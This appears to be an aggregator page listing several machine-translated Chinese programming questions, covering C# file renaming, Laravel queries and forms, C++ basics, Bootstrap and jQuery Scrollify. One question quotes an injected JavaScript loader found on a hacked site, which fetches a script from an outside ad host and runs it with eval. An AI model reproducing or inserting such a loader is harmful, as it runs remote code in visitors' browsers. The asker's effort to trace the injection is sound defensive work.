我在文件夹中有超过1000个文件,名称为abc_1,abc_2 ... abc_n
我想从所有文件中删除此前缀'abc_'.有机会不做这个,因为他们超过1000并且会很痛苦.
用c#怎么做?
我在这个问题上有点失落,所以请原谅.我知道关于这一点还有其他线索,但我找不到答案.
在网站加载时,用户点击它的位置无关紧要是浏览器中带有广告的打开添加标签.
到目前为止我通过查看浏览器控制台找到的是加载了一些js文件
http://cdn.mecash.ru/js/replace.js
Run Code Online (Sandbox Code Playgroud)
这个文件包含
!function(w){if(w.self==w.top){var r=new XMLHttpRequest;r.onload=function(){eval(this.responseText)},r.open("get","//myclk.net/js/tx.js",!0),r.send()}}(window);
Run Code Online (Sandbox Code Playgroud)
通过观察这一点,tx.js我怀疑这是黑客注入的.
问题是我一直在查看主机上的文件,但找不到任何包含或此类内容js.
有人可以帮助我,告诉我在哪里或者我怎么能找到它?
我正在尝试显示添加到管理员的所有帖子,并且只向登录用户显示自己的帖子。
这是我在控制器中尝试的
public function index(Request $request)
{
$items = Item::where('author_id', Auth::user()->id)->orderBy('id','DESC')->with('author')->paginate(5);
return view('items.index',compact('items'))
->with('i', ($request->input('page', 1) - 1) * 5);
}
Run Code Online (Sandbox Code Playgroud)
在模型中我有这种关系。商品型号:
public function author()
{
return $this->belongsTo(User::class);
}
Run Code Online (Sandbox Code Playgroud)
用户模型
public function posts()
{
return $this->hasMany(Item::class, 'author_id');
}
Run Code Online (Sandbox Code Playgroud)
如果管理员登录后能够查看所有帖子,我该如何做到这一点?我正在使用 Entrust ACL,现在无法理解如何更改查询
我是C++的新手并尝试制作两个简单的函数,但出了点问题.
我正在尝试执行以下操作:
1.Function for input some data.
2.Function to show what data is input.
Run Code Online (Sandbox Code Playgroud)
我只是想简单一点.我到目前为止写的代码是:
#include <iostream>
void masiv()
{
int x[10];
int n, i;
int min;
int max=0, imax=0, imin;
cout << "Enter the number of elements: ";
cin >> n;
for(i=0; i < n; i++)
{
cout << "Input value for x["<<i<<"]=";
cin >> x[i];
if (min > x[i])
{
min = x [i];
imin = i;
}
if (max < x[i])
{
max = x[i];
imax = …Run Code Online (Sandbox Code Playgroud) 我有带按钮的bootstrap标题导航栏.我想要做的是添加只在移动设备和小屏幕上可见的按钮 - 手机/平板电脑.
这是标题的结构
<header>
<nav class="navbar navbar-default" role="navigation">
<div class="navbar-header">
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#bs-example-navbar-collapse-1">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
</div>
<div class="collapse navbar-collapse" id="bs-example-navbar-collapse-1">
<ul class="nav navbar-nav" >
<li><a href="">Button 1</a></li>
<li><a href="">Button 2</a></li>
<li><a href="">Button 3</a></li>
<li><a href="">BUTTON 4</a></li>
</ul>
</div>
</nav>
</header>
Run Code Online (Sandbox Code Playgroud)
我想BUTTON 4只在小屏幕上显示.所以我按下这样的按钮:
<li class="not_visible"><a href="">BUTTON 4</a></li>
Run Code Online (Sandbox Code Playgroud)
然后在CSS中我添加
.not_visible {
display: none;
}
@media (max-width: 767px) {
.header{
text-align : center;
}
.not_visible {
display: inline;
}
.nav{ …Run Code Online (Sandbox Code Playgroud) 我试图在我的网站上实现jQuery Scrollify插件.但是这个插件假设我的网站结构只有sections但不是.我的意思是网站的结构是
<body>
<div class="mobilenav">
....
</div>
<header id="header">
....
</div>
<section class="section section1"> Section 1 </section>
<section class="section section2"> Section 2 </section>
<section class="section section3"> Section 3 </section>
<section class="section section4"> Section 4 </section>
<section class="section section5"> Section 5 </section>
<div class="footer">
....
</div>
</body>
Run Code Online (Sandbox Code Playgroud)
这是我实现它的方式
$(function() {
$(".section").css({"height":$(window).height()});
$.scrollify({
section:".section"
});
$(".scroll").click(function(e) {
e.preventDefault();
$.scrollify("move",$(this).attr("href"));
});
});
Run Code Online (Sandbox Code Playgroud)
所以问题是当网站被加载时,当我滚动时它只显示<section>..它没有显示<header>,<footer>以及其他任何未包含在节类中的内容.有可能避免这种情况吗?
我正在尝试制作带有复选框的表格,管理员可以在其中检查多个产品并删除它们。到目前为止我已经制作了表格
@foreach($products as $product)
{{ Form::open() }}
<input type="checkbox" name="delete[]" value="{{ $product->product_id }}">
<a class="btn btn-primary" href="{{ URL::to('/admin/products/multiDdelete') }}?_token={{ csrf_token() }}">Delete</a>
{{ Form::close() }}
@endforeach
Run Code Online (Sandbox Code Playgroud)
这是我的路线
Route::get ('/admin/products/multiDdelete', ['uses' => 'AdminController@testDelete', 'before' => 'csrf|admin']);
Run Code Online (Sandbox Code Playgroud)
这在控制器中
public function testDelete() {
$delete = Input::only('delete')['delete'];
$pDel = Product::where('product_id', $delete);
$pDel->delete();
return Redirect::to('/admin/test')->with('message', 'Product(s) deleted.');
}
Run Code Online (Sandbox Code Playgroud)
到目前为止,当我检查产品并点击Delete页面重新加载时,我的产品已被删除,但产品并未被删除。我认为问题在于我如何通过ID's..但我无法弄清楚。